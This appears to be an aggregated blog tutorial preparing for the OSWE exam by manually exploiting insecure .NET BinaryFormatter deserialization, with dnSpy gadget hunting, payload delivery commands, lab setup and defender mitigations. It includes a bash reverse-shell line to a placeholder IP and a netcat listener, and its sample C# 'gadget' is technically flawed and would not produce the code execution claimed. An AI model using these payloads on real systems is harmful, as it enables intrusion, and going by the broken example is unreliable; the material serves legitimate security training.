OSWE Exam Deep Dive: How to Manually Exploit Insecure Deserialization in NET Apps for Remote Code Execution + Video

Listen to this Post

Featured Image

Introduction:

Insecure deserialization remains one of the most dangerous web application flaws, frequently leading to remote code execution (RCE) when untrusted data is deserialized by .NET runtimes. The OffSec OSWE certification demands that you move beyond automated tools like ysoserial.net and instead master manual code analysis and gadget chain construction—a skill that separates script kiddies from true application security experts.

Learning Objectives:

  • Identify insecure deserialization entry points in .NET applications by analyzing HTTP requests, cookies, and API parameters.
  • Manually reverse-engineer .NET assemblies using dnSpy to discover dangerous gadget classes and methods.
  • Craft and execute a custom BinaryFormatter payload to achieve RCE without relying on automated exploit generators.

You Should Know:

1. Identifying .NET Deserialization Vectors

Start by intercepting all HTTP traffic with Burp Suite. Look for POST data, cookies, or API parameters that contain encoded strings—especially Base64—that might represent serialized .NET objects. In ASP.NET web applications, common indicators include ViewState parameters (often __VIEWSTATE), hidden form fields, or custom headers like X-Serialized-Data.

Step‑by‑step guide:

  • Launch Burp Suite and enable intercept on the target web app.
  • Submit any form or API request and examine parameters for long Base64 strings.
  • Copy the suspicious value and decode it using a Linux or Windows command:
  • Linux: `echo “base64string” | base64 -d | strings`
    – Windows PowerShell: `[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(“base64string”))`
    – Look for readable .NET type names (e.g., System.Collections.Generic, System.Object) or binary headers (like `BinaryFormatter` magic bytes: 0x00 0x01 0x00 0x00 0x00).
  • Specifically target classes `ObjectStateFormatter` and BinaryFormatter—these are notorious for allowing arbitrary gadget execution.

2. Manual Gadget Discovery with dnSpy

The OSWE exam expects you to trace source code to find the right gadget chain. You cannot simply run ysoserial.net blind. Instead, use dnSpy (a .NET decompiler and debugger) to inspect the application’s own assemblies.

Step‑by‑step guide:

  • Download dnSpy from GitHub (https://github.com/dnSpy/dnSpy) and launch it.
  • Load the target web application’s DLLs (usually found in `/bin` directory of the web root).
  • Search for classes that implement `ISerializable` or use `OnDeserialized` attributes.
  • Look for dangerous methods such as File.Delete, Process.Start, Directory.Delete, or any method that calls System.Diagnostics.Process.
  • Example: If you find a class `LogWriter` with a method `DeleteLog(string path)` that invokes File.Delete(path), you might chain it with a property that controls the `path` argument.
  • Use dnSpy’s “Analyze” feature (right-click a method → Analyze) to see where it is called during deserialization.
  • Build a mental map of how a serialized object can flow into that dangerous method.

3. Crafting the Malicious Payload

Once you identify a gadget class, you need to serialize an instance of that class with your malicious command. For .NET’s BinaryFormatter, the payload must be Base64-encoded and injected into the target parameter.

Step‑by‑step guide:

  • Write a small C console application (or use LINQPad) to create the payload. Example code:
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

public class MaliciousGadget {
public string Command { get; set; }
public MaliciousGadget(string cmd) { Command = cmd; }
}

class Program {
static void Main() {
MaliciousGadget gadget = new MaliciousGadget("calc.exe"); // or "whoami > C:\temp\out.txt"
BinaryFormatter formatter = new BinaryFormatter();
using (MemoryStream ms = new MemoryStream()) {
formatter.Serialize(ms, gadget);
string base64 = Convert.ToBase64String(ms.ToArray());
Console.WriteLine(base64);
}
}
}
  • Compile and run the code. Copy the Base64 output.
  • In Burp Suite, replace the original deserialized parameter value with this Base64 payload.
  • Ensure proper URL encoding if the parameter is transmitted in a URL or cookie.
  • Send the request. If the gadget method is invoked, you’ll get RCE.

4. Bypassing Common Defenses

Many modern .NET apps implement `SerializationBinder` to restrict allowed types. You can bypass this if the binder is misconfigured (e.g., allows any type from a specific namespace). Also, custom `OnDeserializing` methods might perform validation—study them with dnSpy.

Step‑by‑step mitigation guide for defenders:

  • Never deserialize untrusted data. Use JSON or XML with schema validation instead.
  • For legacy BinaryFormatter, set `System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.AssemblyFormat` to `FormatterAssemblyStyle.Simple` and implement a strict SerializationBinder.
  • In .NET Core 3.0 and later, `BinaryFormatter` is disabled by default—keep it that way.
  • Use `DataContractSerializer` with `KnownType` attributes to whitelist safe types.

For attackers (exam context only): If a binder blocks your gadget, look for alternative classes inside the app’s own business logic—often developers write helper classes that inadvertently become gadgets.

5. OSWE-Style Lab Practice

The official OSWE exam environment includes vulnerable .NET apps with custom deserialization flaws. To practice, set up PortSwigger’s .NET deserialization lab (https://portswigger.net/web-security/deserialization/exploiting) or build your own.

Step‑by‑step lab setup on Windows:

  • Install Visual Studio Community Edition and create a new ASP.NET Web Forms project.
  • Add a page with a hidden `__VIEWSTATE` field. Configure `@ Page` directive with EnableViewStateMac="false".
  • Write a dummy class with a dangerous method (e.g., RunCommand) and serialize it into the ViewState.
  • Use dnSpy to attach to the local IIS process and debug the deserialization flow.

Linux alternative (using Docker):

  • Pull a vulnerable .NET app image: `docker pull vulnerables/web-dotnet-deserialization`
    – Run it: `docker run -p 8080:80 vulnerables/web-dotnet-deserialization`
    – Access `http://localhost:8080` and follow the same exploitation steps.

    6. Linux & Windows Commands for Payload Delivery and Validation

    Use these commands to test your exploit without a GUI:

    Windows PowerShell (send payload via curl):

    $payload = "YourBase64StringHere"
    $body = @{ data = $payload } | ConvertTo-Json
    Invoke-RestMethod -Uri "http://target.com/api/deserialize" -Method POST -Body $body -ContentType "application/json"
    

    Linux curl with Base64 payload:

    base64_payload=$(cat payload.b64)
    curl -X POST http://target.com/api/deserialize -d "data=$base64_payload" -H "Content-Type: application/x-www-form-urlencoded"
    

    To verify RCE (reverse shell example on Linux target):
    – Listen on your machine: `nc -lvnp 4444`

  • Inject a payload that runs `bash -i >& /dev/tcp/your-ip/4444 0>&1` (serialized inside the gadget).

7. API Security and Cloud Hardening Context

Insecure deserialization is not limited to traditional web apps—modern APIs and microservices in cloud environments are equally vulnerable. Attackers can target serverless functions (e.g., AWS Lambda using .NET) or containerized APIs that accept Base64-encoded state.

Mitigation strategies for cloud:

  • Implement API gateways with strict input validation and size limits.
  • Use AWS WAF or Azure WAF rules that detect known deserialization patterns (e.g., `__VIEWSTATE` with large lengths).
  • For containerized .NET apps, run with read-only root filesystems and seccomp profiles to limit RCE impact.
  • Enable Azure Defender for App Service or AWS Inspector to continuously scan for deserialization vectors.

What Undercode Say:

  • Key Takeaway 1: Manual gadget discovery using dnSpy is the core skill for OSWE—automated tools will fail when the exam uses custom classes or modified serialization logic.
  • Key Takeaway 2: Mitigation must happen at the design level: avoid BinaryFormatter entirely in new projects, and enforce strict type binding in legacy systems.

Analysis: The OSWE exam pushes beyond surface-level exploitation by requiring source code comprehension. This reflects real-world pentesting where proprietary codebases lack public exploits. Mastering dnSpy and manual serialization crafting gives you a transferable skill applicable to Java, Python (pickle), and PHP deserialization flaws as well. The trend is clear: as WAFs improve at detecting generic payloads, attackers must pivot to context-aware, hand-crafted exploits—exactly what OSWE validates.

Prediction:

Within two years, AI-assisted decompilation and gadget discovery tools will emerge, lowering the barrier for deserialization attacks. However, defensive AI will simultaneously enable real-time detection of anomalous deserialization patterns using behavioral analysis. The OSWE certification will evolve to include AI-resistant manual techniques and anti-AI exploit obfuscation, keeping human code analysis irreplaceable. Organizations that fail to phase out BinaryFormatter will face increasing automated attacks, while those adopting .NET 8’s `System.Text.Json` with strict type resolvers will significantly reduce their risk surface.

▶️ Related Video (74% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Salman0x01 Oswe – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky